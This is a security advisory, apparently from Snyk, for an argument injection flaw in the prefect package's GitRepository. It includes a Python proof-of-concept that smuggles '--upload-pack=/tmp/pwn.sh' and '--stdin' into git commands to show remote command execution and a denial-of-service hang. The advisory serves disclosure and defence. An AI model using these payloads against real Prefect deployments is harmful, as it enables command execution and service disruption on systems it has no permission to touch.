Arbitrary Argument Injection Affecting prefect package, versions [,3.6.25.dev7)


Severity

Recommended
0.0
low
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-PREFECT-16406537
  • published4 May 2026
  • disclosed4 May 2026
  • creditnedlir

Introduced: 4 May 2026

NewCVE-2026-7725  (opens in a new tab)
CWE-88  (opens in a new tab)

How to fix?

Upgrade prefect to version 3.6.25.dev7 or higher.

Overview

prefect is a Prefect is a new workflow management system, designed for modern infrastructure and powered by the open-source Prefect Core workflow engine. Users organize Tasks into Flows, and Prefect takes care of the rest.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the commit_sha and directories arguements to GitRepository.__init__ in storage.py. An attacker who can modify prefect.yaml or otherwise pass parameters into a git pull action can cause the worker process to hang indefinitely, or under some conditions, execute unintended commands on the remote host, by injecting strings beginning with -- into the vulnerable arguments.

For remote code execution by injecting a payload such as commit_sha = "--upload-pack=cmd", the following conditions must be met:

  • The repository accessible to the attacker is shared.

  • That repository is accessible via git commands over SSH.

  • The host is configured to accept arbitrary --upload-pack paths.

PoC


import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path

from prefect.runner.storage import GitRepository


MALICIOUS_COMMIT_SHA = "--upload-pack=/tmp/pwn.sh"
MALICIOUS_DIRECTORIES = ["--stdin"]


def step1_constructor() -> GitRepository | None:
    """Does the constructor accept malicious input?"""
    try:
        repo = GitRepository(
            url="https://github.com/example/repo.git",
            commit_sha=MALICIOUS_COMMIT_SHA,
            directories=MALICIOUS_DIRECTORIES,
        )
    except ValueError as e:
        print(f"[PATCHED] Constructor rejected malicious input: {e}")
        return None
    print("[VULN] Constructor accepted malicious commit_sha and directories.")
    print(f"       repo._commit_sha  = {repo._commit_sha!r}")
    print(f"       repo._directories = {repo._directories!r}")
    return repo


def step2_show_argv(repo: GitRepository) -> None:
    """What argv would actually be handed to git?"""
    cmds = [
        ["git", "rev-parse", repo._commit_sha],
        ["git", "fetch", "origin", repo._commit_sha],
        ["git", "checkout", repo._commit_sha],
        ["git", "sparse-checkout", "set", *repo._directories],
    ]
    print("\n[argv] Commands that would be executed (pre-patch, no '--' separator):")
    for c in cmds:
        print(f"       {c}")


def step3_dos_with_stdin() -> None:
    """Prove `directories=['--stdin']` hangs git sparse-checkout."""
    if shutil.which("git") is None:
        print("\n[skip] git binary not on PATH; skipping DoS demo.")
        return

    work = Path(tempfile.mkdtemp(prefix="prefect-argi-"))
    try:
        subprocess.run(["git", "init", "-q", str(work)], check=True)
        subprocess.run(
            ["git", "-C", str(work), "commit", "--allow-empty", "-q", "-m", "init"],
            check=True,
            env={**os.environ,
                 "GIT_AUTHOR_NAME": "x", "GIT_AUTHOR_EMAIL": "x@x",
                 "GIT_COMMITTER_NAME": "x", "GIT_COMMITTER_EMAIL": "x@x"},
        )
        print("\n[dos] Running: git sparse-checkout set --stdin  (with no stdin)")
        proc = subprocess.Popen(
            ["git", "sparse-checkout", "set", "--stdin"],
            cwd=work,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        try:
            rc = proc.wait(timeout=3)
            print(f"[dos] exited rc={rc} (not a hang on this git version)")
        except subprocess.TimeoutExpired:
            proc.kill()
            proc.wait()
            print("[dos] Child still running after 3s -> confirmed DoS primitive.")
    finally:
        shutil.rmtree(work, ignore_errors=True)


def main() -> int:
    import prefect
    print(f"prefect version: {prefect.__version__}\n")

    repo = step1_constructor()
    if repo is None:
        return 0
    step2_show_argv(repo)
    step3_dos_with_stdin()
    return 0


if __name__ == "__main__":
    sys.exit(main())

CVSS Base Scores

version 4.0
version 3.1